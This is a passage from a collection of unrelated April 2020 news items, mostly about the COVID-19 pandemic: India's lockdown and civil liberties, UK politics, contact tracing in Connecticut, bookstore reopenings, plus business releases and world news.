issue of livelihood of the populace. When India declared a complete nationwide lockdown, becoming one of the first democracies in the world to opt for this stringent measure, there was a string of criticism and concerns, all begging one question Was the lockdown necessary? One month later, with the benefit of hindsight, everyone not only agrees but also applauds the governments farsightedness in imposing a nation-wide lockdown. The lockdown, however, does not come without a fair share of problems of its own, the most pertinent is centered around the protection of basic civil rights in this lockdown. People at the bottom of the socio-economic pyramid, especially migrant workers have been the worst hit by the lockdown. Amid the crisis, one question, among many, conspicuously, remains unanswered: How to balance the civil liberties of individuals with the responsibilities towards the community, state and the country. In a welfare state (such as India), the State is obliged to protect and promote the economic and social well-being of the citizens on the principles of equality, parity and public responsibility. Public responsibility in this context can be understood aptly through the Supreme Court ruling in State of Punjab vs MS Chawla, where the court decided that providing the basic healthcare facilities to the citizens falls within the purview of the fundamental right to life under the Constitutions Article 21. The verdict is also in resonance with the Siracusa Principles. It is also reflected in the International Covenant on Economic, Social and Cultural Rights which make it obligatory upon the government to treat patients to the highest attainable standard, even during a pandemic. Further, India, with its vast territory, large but extremely diverse population, and low literacy levels, poses a special kind of challenge to a government trying to develop a nationwide solution to tackle the epidemic. The reckless disregard to the lockdown by some people and the numerous instances of rumour mongering have been extremely problematic for the administration to maintain law and order across the country. This presents an extremely peculiar position where the government, on the one hand, has to ensure the basic civil rights of people, and on the other, has to curb the outbreak of the disease. Though it might be too early to call, but from the data available, one can easily deduce that countries which have opted for slightly authoritarian measures, like Singapore, South Korea and Taiwan, despite their proximity to China have prevailed, while countries like the United States, the United Kingdom, Italy either due to their lax or vacillated approach have succumbed to the virus. A cursory inference of this data easily invokes the dogma of whether desperate times require desperate measures, meaning whether and to what extent should the government impose restrictions on civil rights to curb the pandemic. In such testing times, where the entire scenario can be narrowed down to the equation of liberties vs lives, a hybrid approach that encompasses the spirit of both sides should be applied. Drawing the line in such cases, however, becomes an arduous task. This implies that while certain fundamental rights, such as the right to religion or the right to expression can be restricted, the restriction in all such cases shall be reasonable and open to judicial scrutiny. The recent case of T. Ganesh Kumar vs Union of India captures the essence of this quandary, where the Madras High Court rightly dismissed a petition that sought a ban on newspapers. On a deeper analysis, one can easily attribute this conundrum to the colonial-era Epidemic Diseases Act, 1897, which leaves much to be desired. The four-page long law is dotted with ambiguous and open-ended wording. However, perhaps the biggest deficiency of the act is its failure to provide an outline of the basic civil rights which the government needs to ensure during the epidemic. The act is neither successful in laying out the course of action, nor in describing the rights of the citizens in such a situation. That combined with its excessive reliance on Section 188 of the Indian Penal Code (where the maximum punishment is six months imprisonment or a thousand rupees) for penal punishment in cases of violation, presents an extremely haphazard state of affairs. The effect of these shortcomings in the statute is also indicated in several states invoking the National Security Act (NSA) against people who violated the lockdown norms and potentially, put others in harms way. However, maintaining the charges of NSA, within the courtroom can be extremely challenging. The Supreme Court in the case of Vikram Singh vs Union of India has held that the punishment must be proportionate to the offence committed, and conviction under an act like NSA requires an exceptionally high level of threshold. The way forward The best remedy to successfully tackle the current epidemic and prepare for the future lies in modifying or rather creating a comprehensive legislation that specialises in dealing with such cases. A law that provides a detailed road map of the course of action and a clear demarcation between rights and liberties; the ones that may be restricted by the State and the ones that cannot be restricted. Quite like the recent Ordinance on Measures to Combat the Coronavirus (Covid-19 Ordinance 2) promulgated by The Swiss Federal Council that has been enacted to take steps to contain spread of the disease and mobilise the capacities required to manage the epidemic, particularly to maintain the conditions required to provide the population with adequate care and a sufficient supply of therapeutic products. The Ordinance has specific provisions for border crossings, export controls for protective equipment, provisions for health care and also measures that apply to population, organisations and institutions. The Swiss Federal Council Ordinance also provides for a three-year jail term for violators. It would do India well to have a comprehensive health epidemic legislation for the country. (Ishan Khare and Pratyush Nigam are students at the National University of Juridical Sciences, Kolkata) SHARE THIS ARTICLE ON Close (Photo : How Is Artificial Intelligence Benefiting the Healthcare Industry?) The healthcare industry is one which is both vital and profitable. A lot of companies have developed tech and medicine over the years which has led to growth and improved healthcare for many people around the world. One of the technological advances that is rapidly improving the healthcare industry is artificial intelligence. In this article, we are going to look at some of the ways that AI is benefiting the healthcare industry around the world. Keep reading if this is something that you are interested in. What Is Artificial Intelligence? If you are not familiar with artificial intelligence, then you should know this involves the creation of machines that can react and work like humans. Not only can AI recognise speech, but it can also plan, learn and more. This kind of technology has been majorly improving over the years and is now really coming into its own. Bionic Limbs One of the main areas to really benefit from AI within the healthcare industry is the world of bionic arms and prosthetic limbs. In 2020, AI technology can power bionic arms that have been created from 3D printers and many people have already benefited from this. Initiatives such as Rewired and Open Bionics have recently seen large investments from people like Tej Kohli and F1's Williams Advanced Engineering Group who see the potential for this technology. Saving Time Another way that artificial intelligence is benefiting the healthcare industry is through the time that is saved thanks to this technology. Many doctors and healthcare professionals around the world are run off their feet due to understaffing. With AI technology, these professionals are able to let the machines do the work that they can, and this gives them more time to focus on other aspects of their roles. This has had a direct impact on this profession. Increased Accuracy Finally, artificial intelligence allows physicians to make the right calls with more information at their fingertips. While all medical professionals are trained to a very high standard, it isn't always possible to diagnose a patient until there is more information available. Artificial intelligence allows for a diagnosis to be much more accurate and to be completed in a much shorter time. This can only be beneficial for those who are experiencing health conditions and need an answer from a reliable source. Final Thoughts Artificial intelligence has the power to improve many industries and has done so already. The healthcare industry can always do with a boost in order to save lives and make things easier for those who work in it. With increased accuracy, bionic technology powered by AI and more time to spend on important matters, the healthcare industry is improving day by day. Make sure to keep an eye on artificial intelligence as this technology is set to become a larger part of our lives as the years go on and the tech involved improves. See Now: What Republicans Don't Want You To Know About Obamacare WACO, Texas, April 28, 2020 /PRNewswire/ -- WCTractor, a fast-growing Kubota dealership group has purchased the Waco-based assets of Tipton International. With the acquisition, WCTractor adds a Waco location to its existing Texas Kubota dealerships in Bryan, Temple, Navasota and Brenham. "In Waco, WCTractor looks forward to sharing the 'Best-in-Class' experience that our customers have come to expect. Whether it is through sales, service, parts or rental, we are excited to earn the business and trust of the community," President Chris Wackman said. "Tipton International served the area for decades and we couldn't be more thrilled for the opportunity to partner with the community for decades to come." Since 1939, WCTractor has served Central Texas through its area dealerships. Currently a Kubota "Circle of Excellence" dealer given only to the top 15 dealers in the nation WCTractor currently holds Kubota Elite and Kubota Service Elite designations at each of its locations. In addition to the Kubota brand, WCTractor plans to sell and rent Landpride, Bushhog, FAE and Armstrong Ag products at the new Waco location. WCTractor is a 10-location dealership group based in Brenham, Texas. For more information about WCTractor or to contact them, please visit www.wctractor.com or call them at (888) 8-TRACTOR. Related Files Press Release.docx Related Images image1.png SOURCE WCTractor Related Links http://www.wctractor.com Amid the pandemic, the frontline warriors are the ones who are risking their lives for us and all we have to do is sit at home. The doctors, nurses and the security personnel are working long shifts without any break to save our lives and some of them are out there fighting without proper protective gear. However, a lot of people are coming forward to help the frontline warriors by donating and even paying for appropriate protective gear. Recently, 28 year old Pulwama martyrs wife, Nikita Kaul Dhoundiyal also donated 1000 Personal Protective Equipment to the Haryana Police for their protection to fight against the pandemic. The PPE gear included Masks, Gloves and other protective gear that can be used by the police during these tough times for protection. The Faridabad police took to their Twitter, to express their gratitude for Nikitas kind gesture. Check out the post here- @Nitikakaul Dhaundiyal Wife of Pulwama martyr Major Vibhuti Dhaundiyal, Provided the 1000 PPE kits to @FBDPolice We heartily thanks her. We are also thankful to @Anubhuti009 @ManMundra Faridabad Police (@FBDPolice) April 26, 2020 Nikita is the wife of Major Vibhuti Shankar Dhoundiyal who lost his life in a gun battle with Jaish-e-Mohammad (Jem) terrorists during the Pulwama terrorist attacks on 18th February 2019, just a few days after the terror attack on the CRPF convoy that killed forty personnel. Not only this, Haryanas CM Manohar Lal Khattar also praised Kauls initiative and tweeted saying, "Nikita Kaul, wife of martyr Major Vibhuti Shankar who laid down his life for the country, has provided 1,000 security kits (masks, goggles, gloves) for the soldiers of Haryana police who are fighting the war against Corona. I thank you for your help. Your contribution is valuable." Heres what people on Twitter have to say about her kind gesture. God bless you @Nitikakaul ji Amrita Bhinder (@amritabhinder) April 26, 2020 Manish Mundra (@ManMundra) April 26, 2020 Salute mam. Manish Kapadiya (@manishkapadiya) April 26, 2020 Good Bibek (@Bibek26166212) April 27, 2020 The Coronavirus cases in Haryana have reached over 289 cases so far and the number is dismally increasing. During this time, it is paramount that the police personnel are protected as they are risking their lives to protect us. [April 28, 2020] Juniper Research: Number of Voice Assistant Devices in Use to Overtake World Population by 2024, Reaching 8.4bn, Led by Smartphones A new report from Juniper Research has found that consumers will interact with voice assistants on over 8.4 billion devices by 2024; overtaking the world's population and growing 113% compared to the 4.2 billion devices expected to be in use by year end 2020. Despite this, monetisation of the voice assistants themselves remains a challenge. For more insights, download the free whitepaper, Hey Siri, How Will You Make Money? Need for Behaviour Changes Restricts the Space The new research, Voice Assistant Market: Player Strategies, Monetisation & Market Size 2020-2024, finds that automotive voice assistants and those connected to TVs will have the highest rate of growth, largely thanks to the ability to use voice assistants through peripherals, rather than new hardware. However, this depends on changing consumer behaviour; less than half of TVs capable of voice assistant functions will actually use the function, even in years' time. "Ingrained habits of how devices are used will restrict opportunities for voice assistants and voice commerce," remarked research co-author James Moar. "Vendors should focus on driving usage almost as much as promoting device sales." Multiple Devices, with Limited Reach for Most Despite a proliferation of different voice assistant devices, Juniper Research (News - Alert) expects that smartphones will continue their dominance of the space. Other devices will be comparatively underused in many markets. Despite having more than double the population of North America, the number of voice assistant devices in Europe will only exceed North America by 2022, and then only marginally, thanks to fewer devices being launched into those markets. The research notes that while several voice assistant vendors are pivoting towards productivity and office usage, this will be a relatively small market. Less than 354 million PCs will have active voice assistants, particularly following Microsoft (News - Alert) shifting Cortana away from being a full voice assistant. Juniper Research recommends that voice assistant companies targeting the PC market emphasise voice as part of wider ecosystem of device and data management, with more automation than consumer voice assistants. Juniper Research provides research and analytical services to the global hi-tech communications sector; providing consultancy, analyst reports and industry commentary. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005609/en/ [ Back To TMCnet.com's Homepage ] G uess whos back, back again? Eminems buoyant rap anthem sprung to mind as the Prime Minister returned to duty. This was Beta-version Boris, a wraith of his pre-Covid-19, ebullient self, and likening the physical and mental travails of a serious bout of the virus to a physical assailant an unexpected and invisible mugger. But the return of the PM, just days after his chief prophet Dominic Cummings also emerged from the illness, has reignited the clashes of raw politics. We need a little controversy, cause it feels so empty without me, as Eminem might add. An emptiness at the heart of government has given us a few weeks on a kind of autopilot. But the row about Cummings attending a meeting of SAGE, the convocation of scientific and data experts advising the Government, is proof that you cannot take politics out of handling a pandemic for long. In part, this is now the standard culture war in new form a knee jerk that views Cummings de facto as a suspicious entity. Still, those in Whitehall with memories of the era when Dom would stalk up and down meetings in the Department for Education to ensure that the targets were being delivered, and deviation or questioning of outcomes was akin to heresy, will know that a fissile blend of intellectual curiosity and thuggishness is always in the Dom mix. Whether or not you give the PMs adviser the benefit of the doubt, problems with keeping the membership of the sensitive groups advising government a secret are inevitable. The first reasons is that since we are not in Beijing or Budapest, an open society demands transparency about who is giving advice to those in power. Any inconvenience to experts of being lobbied or upbraided for their work is minor. By the same token, No 10 should have divulged that Cummings was in attendance too. Anne McElvoy The second is the bleeding obvious one, that a large group of experts from a demographic which is, let us say not wholly allied with Dom and Boriss Brexit dream, is likely to be a leaky ship. So it has proved and the secrecy was a false start. Third, and the most significant now that Johnson is tentatively back, is that the balance between science and politics will be recalibrated as the crucial decisions about how to organise an exit strategy loom. A simplistic formula of letting the science decide for us is a fantasy. For one thing, there is no unitary science but a spread of hypotheses, views and analysis of risk. A simplistic formula of letting the science decide for us is a fantasy. There is no unitary science but a spread of views Some might suit our existing bias better than others. Left-of-centre folk seem broadly keener on perpetuating the lockdown and more comfortable with the accompanying collectivism than the brisk sorts on the Right, insisting we should toughen up, accept the risk and head back to the production line to keep UK Plc afloat. There is no easy middle way. We all have to face the policy choices which will haunt us keeping schools off for much longer is likely to widen divides in opportunity. A deflated economy will, in the end, hit those most dependent on public services. And while we can water the magic money tree for a while in the circumstances, there are always downsides to high borrowing without end and propping up businesses which simply will not make it. On the one hand, we claim to want politicians to give us a grown-up conversation about the exit strategy from lockdown. When they come close to doing so, we mutter that they are being cavalier with human life, when any course of action is likely to be at the cost of one group of the population. It depends what we regard as success. Denmark is a creditable example of a government which lays out clearly for its citizens that it places the return to education more highly than the attendant risk of the virus remaining at large. The fiercer approach motivating the UKs lockdown is a more active attempt to keep the virus suppressed as far as possible Stay home, save lives. Slogans always remind us of what they leave out and a readiness to sacrifice other social and economic goods is glossed over in this one. Listen to The Leader: Coronavirus Daily podcast Scientists, officially advising the Government or commentating will inform the stark choices awaiting Johnson as he returns to full strength. But they cannot be asked to make the decisions and trade-offs which properly belong to the Government. The clue is in the name. Flash Chinese President Xi Jinping said on Monday that the Chinese side stands ready to join Iran and the rest of the international community in boosting anti-pandemic cooperation and achieving the ultimate victory over COVID-19. Xi made the remarks during a telephone conversation with his Iranian counterpart, Hassan Rouhani. On behalf of the Chinese government and people, Xi expressed his sincere sympathy with and firm support for the Iranian government and people who are fighting the COVID-19 outbreak, saying that the two countries, by helping each other and sharing weal and woe, have fully demonstrated the deep friendship between the two countries and their peoples in the battle against the disease. The Chinese people, said Xi, always concern about the Iranian people's epidemic fight, adding that the country has sent to the Iranian side several batches of anti-epidemic materials and its first team of experts to foreign countries. He also said that the Chinese side stands ready to continue working with Iran in enhancing cooperation to battle the epidemic, share related experience, and offer help within China's ability, adding that he believes that the Iranian people, under the leadership of Rouhani, will score the victory over the virus at an early date. Xi stressed that in the face of the global public health emergency, the international community can only form a concerted drive to win over the epidemic by strengthening coordination and cooperation, saying that unilateral sanctions only hinder the efforts of Iran and the international community to contain the COVID-19 pandemic. The Chinese side firmly supports the development of the bilateral comprehensive strategic partnership, and Iran's efforts to safeguard national sovereignty and dignity, said Xi, adding that the Chinese side stands ready to join Iran and the rest of the international community in boosting anti-pandemic cooperation, so as to achieve the ultimate victory over the disease and contribute to the preservation of the world's public health security. Rouhani, for his part, said he is delighted to see China's success in controlling the COVID-19 pandemic, and its anti-virus experience is worth learning from by other countries. In the face of the pandemic, Iran and China have been supporting each other and the friendship between peoples of the two countries has been deepened, Rouhani said. The Iranian side is deeply grateful to China for its timely offering of precious material supplies to the Iranian people's pandemic fight, he said, noting that his country is ready to strengthen cooperation in the field of health and other areas, and further develop the bilateral strategic partnership. Under the current situation, the illegal unilateral sanctions imposed on Iran should be lifted immediately, Rouhani said, noting that Iran hopes to work with other countries in jointly safeguarding multilateralism and defending international fairness and justice as well as the legitimate rights of Iran. LONDON - The U.K. held a minutes silence Tuesday for all front-line workers who have died from the coronavirus, as the government extended its testing program and concerns mounted about the rising death toll in care homes. As clocks struck 11 a.m., senior political leaders, including Prime Minister Boris Johnson, joined hospital and nursing home staff in observing the silence. Londons transport networks came to a halt as workers honoured colleagues who have died from COVID-19, and the bells of Westminster Abbey went silent. Health Secretary Matt Hancock said 85 front-line workers in the National Health Service had died from the virus, while another 19 have died in care homes. These are the nations fallen heroes and we will remember them, Hancock said at the governments daily briefing. The minutes silence had been campaigned for by the Unison union, the Royal College of Midwives and the Royal of College of Nursing, many of whose members have complained about insufficient supplies of personal protective equipment. An even greater task now remains to stop more joining the tragic number of those who have died, said Donna Kinnair, chief executive and general secretary of the Royal College of Nursing. Johnson, who returned to work Monday after recovering from COVID-19, has said he wont risk a second peak in the virus by relaxing lockdown restrictions too soon, while acknowledging that the country was coming out of the first phase of this conflict. The government has set five tests for an easing of restrictions from their current end-date of May 7, including a sustained and consistent fall in the daily death rate. Over the past couple of weeks, it has become clear that daily coronavirus-related deaths in U.K. hospitals have trended lower while the number being hospitalized, particularly in London, has fallen. On Tuesday, Hancock said another 586 people died in U.K. hospitals, taking the total to 21,678. Those figures dont include deaths outside hospitals such as care homes. Hancock said more comprehensive daily figures will be published from Wednesday. Earlier, the Office for National Statistics revealed that 22,351 people in England and Wales died in the week ending April 17. That was the highest since comparable records began in 1993 and more than double the rolling five-year average. In its analysis of death certificates, which take longer to compile than deaths recorded in hospitals, the statistics agency said the coronavirus was mentioned as a cause of death in 8,758 cases, nearly 40% of the total. It also said 4,316 deaths involving COVID-19 had been registered up to April 17 outside of hospitals with 3,096 in care homes. The equivalent figure for hospital deaths over that period was 14,796. Provisional figures since April 17 provided with the assistance of a regulator, the Care Quality Commission, point to the daily death rate in care homes in England and Wales heading towards the rate in hospitals. Hancock said the governments testing program was being expanded, including to all staff and residents in care homes whether they show symptoms or not. Anyone over 65, and all workers who must leave their homes to work, are also eligible if they show virus-like symptoms. Hancock also said the U.K. government position had not changed on face coverings, saying there is weak science on their use. Earlier, the Scottish government recommended their use for shopping and travel, the latest point of divergence between the U.K. government and the devolved administration. ___ Sylvia Hui contributed to this story. ___ Follow AP pandemic coverage at http://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak 28.04.2020 LISTEN A private legal practitioner, Samson Lardy Anyenini says an injunction filed against the Electoral Commissions planned workshop remained valid even if the venue was changed. The Electoral Commission had announced a national planning meeting and key trainers training workshop to prepare and plan for the upcoming voter registration exercise ahead of the 2020 general election The programme was scheduled to take place from 24th to 29th April 2020 at the City Escape Hotel, Prampram, in the Greater Accra Region. But the Member of Parliament for Ningo Prampram, Sam Nartey George, secured an injunction to stop the workshop from being held. The injunction was meant to be in place from April 24, 2020, to April 27, 2020. Meanwhile, the Electoral Commission held a meeting for its officials over the weekend at the City Escape Hotel in Accra. Some members of the National Democratic Congress (NDC), led by some of its Members of Parliament and national Executives on Saturday, April 25, 2020, besieged the City Escape Hotel in Accra to protest of the ECs meeting. Speaking on Eyewitness News, Mr Anyenini was of the view that it did not matter if the venue was changed, the injunction would still hold. What will be the use of the court intervention if it will just be to prohibit a program from happening at a particular place? The fact that the Prampram City Escape Hotel was mentioned doesnt necessarily limit the injunction to that place, he said. He further explained that the court ruling, relative to the injunction, was made based on E.I. 64 and 67 [Executive Instruments baning public gathering] which were bounding to the whole country. He also added that the action of some members of the NDC who went to the City Escape Hotel in Accra may also be wrong since the right thing would have been for them to go back to the court to seek redress and not to mass up at the hotel. So my view, if what the Electoral Commission is reported to have done was, in fact, what was done then they did not do the right thing. But we must also be quick to say that those who went there and sought to provoke a confrontation were equally wrong because if the EC had organized a meeting that was prohibited because they thought the ruling was wrong, the law required of them to go to the court for the ruling to be set aside before they could go ahead. In the same way, you who got that, all you had to do was to take evidence of the action which was in contravention with that which had been injuncted back to the court and if they agree with you, they will be punished accordingly. They had no right to try to seek a confrontation. ---citinewsroom An elderly man is clinging to life and his wife has suffered serious head injuries after being brutally attacked during a home invasion. Emergency services were called to a Cherrybrook home, in Sydney's northwest, just before 12.30am Wednesday, after reports two men had forced entry. Officers from Ryde Police Area Command attended the Tallowwood Avenue property and located the occupants, an 86-year-old man and 84-year-old woman, with serious head injuries. Police were called to a home on Tallowwood Avenue, Cherrybrook, just before 12.30am Wednesday following reports of a home invasion (stock) Police have been told the armed men, who had their faces concealed, threatened the couple before assaulting them. Both victims were taken to Westmead Hospital. It is understood the man is in a critical condition with life-threatening injuries, while his wife remains in a serious but stable condition. Detectives established a crime scene at the home which continues to be forensically examined. An investigation into the incident is underway and police are appealing for anyone with information to come forward. By mid-May, the state will begin a computerized system for tracing the contacts of patients with the coronavirus, and as many as 800 people will be recruited to track down the various paths the infection takes in Connecticut. The program was announced Tuesday afternoon, amid reports of another 77 fatalities, bringing the total to 2,089 in the coronavirus pandemic. Net hospitalizations decreased by 26 patients, bringing the total hospitalized to 1,732. Called ContaCT, the system, created in cooperation with Microsoft, will be a key to the eventual reopening of the state. A goal is to get people without symptoms to self-quarantine after confirmed contact with COVID-19 patients, Gov. Ned Lamont announced Tuesday during his daily news briefing in the state Capitol. Lamont said doctors, hospitals and public health officials are routinely aware of those who are infected. We, in turn, will text or notice those people, then they have an opportunity to opt in or say no, Lamont said. But were trying to encourage them, if they care about their friends and people theyve been in contact with, on a voluntary basis, to let us know who those people might be. Nothing is mandatory about this process, but of course the more people who participate, the more effective it is. The Department of Public Health currently has 300 people committed from local health departments to the new virus tracking program. Up to 500 more volunteers will be recruited from public health programs and medical schools. Patients will be asked to fill out computerized question forms, while others will be interviewed by trackers who will be trained by the agency, said Kristen Soto, surveillance coordinator for the DPH. Its easier to do tracing when the number of new cases is small, as is expected by the middle of May, when Lamont gets closer to deciding issues such as the reopening of businesses and possibly schools. Officials stressed that the tracing will be confidential. Local health departments as well as the state Department of Public Health will continue to receive information on all individuals in the state who test positive for COVID-19, Soto said. This information is already being shared as part of our reportable conditions and is in a common data base. We will be integrating this data with our contact-tracing system in order to rapidly interview people who test positive for COVID. The program will be performed by DPH personnel and people from the 64 local health departments statewide, along with trained and credentialed people from the academic realm, including schools of public health, medicine, nursing and social work, she said. If a person resides in one jurisdiction and has contacts in another, that information can be seamlessly shared, Soto said. Questions will include symptoms; and dates when people became sick and who they may have exposed either just before or when they developed symptoms. Contact tracers will be trained in providing information to both infected people and contacts on what to do next. Public support is crucial to slowing the spread, so those infected should become aware that they will be contacted through text, email or over the phone. It is important to work with us, she said. And let us know about your illness as well as potential exposure to really help protect those around you. Staying home when asked to do so really is the best way to prevent the spread of this infection in the community. Lamont said the program will communicate with New York, and contact tracers will be trained by in a new program sponsored by Bloomberg Philanthropies. Dr. Matthew Cartter, state epidemiologist and director of infectious diseases for the DPH, said that contact tracing is harder near the peak of an outbreak, which is where Connecticut is lingering still, even as hospitalization are steadily declining. Right now, we see a flattening of the curve and that flattening is occurring because of the community mitigation that weve done: the social distancing, the staying at home, he said. And thats whats driving the case numbers down. Cartter said that in mid-to-late May, the number of infections will decrease, while the number of tests will sharply increase. Our goal is to do contact investigation of every confirmed case, he said. We know that not everyone will want to participate in contact tracing, but our goal is to reach every case, to identify every contact and ask them to participate in the contact tracing office, and to self-isolate or stay at home and self-quarantine. Cartter believes that Connecticuts relatively high death rate is based on the wider-ranging method that the state records deaths. Connecticut is one of the states where we count not only lab-confirmed COVID-19 deaths, but we also include probable COVID-19 deaths, Cartter said. Many states, including states around us, do not count probable deaths. Connecticut, New York, New York City, New Jersey, Boston, Providence, were all seeing COVID levels that many parts of the country arent seeing. We are counting lab-confirmed. Some of our neighboring states do not. Cartter said that a million-dollar question is whether those who recover from COVID-19 develop immunity to further infections. What we dont know is whether or not immunity will be long-lasting, he said. Many people who recover from this infection will have immunity for months, maybe a bit longer, but we will not know until studies have been done if thats a long-lasting immunity. kdixon@ctpost.com Twitter: @KenDixonCT OAKLAND, Calif. Until the coronavirus took hold in the United States, Googles parent company, Alphabet, was marching forward to another predictably strong quarter. Calling it a tale of two quarters, Sundar Pichai, Alphabets chief executive, said on Tuesday that the company had been doing well in January and February until a significant and sudden slowdown in advertising revenue in March. The result was a quarter that fell short of Alphabets usually stellar results but still exceeded Wall Streets revenue expectations. Revenue rose 13 percent to $42.1 billion from a year earlier, and net income edged up 3 percent to $6.8 billion, Alphabet said. On a conference call with analysts, Mr. Pichai said the company planned to be thoughtful about spending in the short term. He said Alphabet planned to slow hiring, while adjusting investments in areas like data centers and machine learning and curbing costs for travel and marketing. Libyan strongman Khalifa Haftar said Monday he had a popular mandate to govern the country, declaring a key 2015 political deal over and vowing to press his assault to seize Tripoli. In a speech on his Libya al-Hadath TV channel, he said his self-styled Libyan army was proud to be mandated with the historic task of leading Libya. We announce our acceptance of the peoples will and mandate and the end of the Skhirat Agreement, he said, referring to a 2015 United Nations-mediated deal that produced the unity government. He did not make clear whether an elected parliament in the countrys east, a signatory to the deal, backed his move or what its future role would be. Haftar has so far drawn his legitimacy from the administration based in the countrys east, and last April his forces launched an assault to seize the capital Tripoli, in the west, from the Government of National Accord. He said Monday his forces would work to put in place the necessary conditions to build the permanent institutions of a civil state. But an adviser to the UN-recognised GNA rejected Haftars speech on Monday. Haftar has once more exposed his authoritarian intentions to the world, Mohammed Ali Abdallah said. He no longer seeks to conceal his contempt for a political solution and democracy in Libya. His statement tonight is the final, desperate act of a defeated man. Haftar had already indicated in 2017 that the Skhirat deal had expired. Last Thursday, he asked Libyans to choose an institution to govern the country after the end of the Skhirat deal. He also tabled the possibility of a constitutional declaration, raising fears that the country could end up being partitioned. Plunged into chaos with the toppling and killing of longtime dictator Moamer Kadhafi in 2011, Libya has largely come under the control of Haftars forces in the east and armed groups backing GNA in the west. Haftars offensive to seize Tripoli ground to a stalemate that has left hundreds dead and some 200,000 displaced. SOURCE: AFP LOS ANGELES Kenzie Taylor is ready to wow fans with a special three-hour live show on Cam4. On April 30, Cam4 users will have the chance to spend a night with Taylor as she tempts and teases viewers with an epic erotic display. The event starts at 8 pm ET/5 pm PT here. The April 30 Cam4 event will be her second show this month on the platform. April 18, Taylor went live with an interactive performance. "I had such a great time doing my last Cam4 show," said Taylor. "The fans were great, the platform was on point and easy to navigate. It was an extremely positive experience. I'm excited to be back on there again, April 30th. We are going to have an incredible time." Cam4 has seen fit to tap Taylor as a brand ambassador. As a brand ambassador, Taylor will factor into the marketing strategy of the company. As bookstores begin to slowly reopen across some parts of the U.S., Shane Gottwals has some advice to share. "I would emphasize that anyone talking to employees about returning to work first emphasize the health, safety, and concerns of those employees first and foremost, before any financial considerations," he said. Gottwals runs four Gottwals Books locations in central Georgia and oversees 12 Walls of Books franchise locations in Iowa, Kansas, Florida, Tennessee, North and South Carolina, and Washington. He directly employs 21 people in the stores he owns. Gottwals reopened two of his Georgia stores on Mondaythe flagship location in Warner Robins and the store in Maconafter hanging clear shower curtains from the ceiling in front of the cash wraps, in lieu of plexiglass, which would not fit, as well as copious signage reminding people about appropriate social distancing. "It pains me, because I'm very particular about the look of our stores, but it is a very small concession to make," said Gottwals, who added that he did not advertise he was reopening. "We have a core group of customers who were coming by every so often. So we just put signs on the doors of the two stores saying they could come in and shop. It's really these dedicated customers we want anywaymost of them are older and will spend $40 or $50 in a visit and they are the one's who keep us afloat." All employees are being provided with face masks and the stores are being disinfected after every customer. In addition, at any point an employee feels the store is getting too crowded, they are allowed to clear the store and lock the door until a time when there are no excess customers. Hours for the stores have been reduced to 10 a.m. to 4 p.m. When it came to staffing the stores, Gottwals confronted the main issue many store owners will have to address in the coming weeks through a series of meetings. "Human resources issues have actually occupied two to three weeks of my time," said Gottwals, who explained that as the coronavirus spread prior to closing the stores last month he held a series of staff meetings to discuss the closure and what would happen. "Those were some of the most difficult conversations I have ever had in my professional life. Six of my employees were irate and told me to close the stores because they were fearful of their health, with one of them accusing me of actually trying to kill his wife, who has asthma, by suggesting he still come to work," said Gottwals. "When you are confronted with language like that, it is very difficult. Our stores are small and I have always tried to foster a family atmosphere, so hearing that was quite hard." Once the stores were closed, employees were moved to the company's warehouse, packing and shipping books. Used books represents 90% of Gottwals' sales and the chain has seen a surge in some areas. "Our sales through third-party retailers has tripled in recent weeks" said Gottwals. In addition, the chain has offered customized packages of $50 of books for for $35, with the titles selected by Gottwals based on a questionnaire taken by the customer. "We have sold more than 500 of those packages," said Gottwals, who also said the stores launched a Bookshop.org site, but has not made it a priority. With yesterday's reopening of the two stores, Gottwals said 10 employees were willing to work in the stores; the remaining 11 declined and will continue working in the warehouse and in other capacities. Those working in the stores will get a $15 bonus per shift. "Most of the employees are making somewhat less than that per hour so it amounts to about $100 extra per week," explained Gottwals. Looking ahead, Gottwals said that his experience dealing with the pandemic suggests that the relationships between booksellers and employees is likely to evolve and become even more intimate. "I think that it is going to force a lot of very difficult conversations between owners and staff and that the naivete that people are in the bookselling business entirely because of some form of idealism, because of a love for literature, is going to have to disappear. At the end of the day, it is a business and if we don't stay in business, there will be no jobs. That said, every relationship is improved by having these sorts of difficult relationships. We are all going to be closer because of the hard things we have had to say to each other." Half Price Books Plans Reopening Steps Half-Price Books, America's largest used bookstore chain, is looking at reopening stores in Arizona, Oklahoma, Texas, and Ohio throughout the month of May, some as early as Saturday. The chain operates 126 stores in 17 states, which were closed on March 18. When the stores reopen, all employees will wear masks and customers will be encouraged to maintain social distancing and wear masks indoors as well, said Emily Bruce, public relations manager for the company. The chain will limit the number of shoppers allowed in the store at one time based on the store size and in accordance with local guidelines. In addition, Bruce said that in one of the future phases of the company's reopening plan, "we will begin buying merchandise from our customers, as this may require additional operational adjustments, including adding back staff members." On April 2, the company laid off or furloughed 2,146 people, representing 78% of its workforce of 2,752. Yesterday, a GoFundMe campaign was launched by former employees and is seeking $250,000 to help out-of work booksellers from the company. The campaign page lists a series of grievances. "In the following weeks, Half Price Books has treated us with shocking disregard- ignoring the layoffs on all social media, disregarding requests for more information including the criteria for termination, and providing misinformation about the ending of benefits," wrote the campaign organizer Laura Campbell. Kathy Doyle Thomas, chief strategy officer, for Half Price replied to the criticism. She said, The Covid-19 pandemic has negatively affected retail sales like nothing weve seen in our lifetimes. Like most retailers across the country, Half Price Books had to make unthinkable decisions in order to make sure we could survive and rebuild those jobs in the near future, and unfortunately that meant layoffs for many employees. Weve made sure that our Human Resources department and corporate office remained open to take calls on a special hotline and answer any questions people have had, and we hope those affected have used that resource. We wish these employees well and certainly understand their need to access any resources they can during this devastating time. The campaign raised $850 in its first day. By PTI MUMBAI: Maharashtra Chief Minister Uddhav Thackeray spoke to his Uttar Pradesh counterpart Yogi Adityanath over phone on Tuesday and expressed concern over the killing of two priests in Bulandshahr district, Shiv Sena leader Sanjay Raut said on Tuesday. The killing of priests in Uttar Pradesh should not be communalised like the Palghar incident in Maharashtra, Raut said, in an apparent taunt at the BJP. Talking to PTI, Raut said Thackeray spoke to the Uttar Pradesh chief minister and expressed concern over the incident in Bulandshahr. "Uddhavji said when such incidents happen, we should refrain from indulging in politics and unitedly work to punish the culprits," Raut said. Earlier, Raut in a tweet termed the killing of the two priests in Bulandshahr as "inhuman and brutal". "Terrible ! killing of two saints, sadhus at a temple in Bulandshahar,UP, but I appeal to all concerned to not make it communal the way they tried to make Palghar, Maharashtra incidence," he tweeted. "Maintain peace. The country is fighting corona and Yogi Adityanath will punish the culprits," 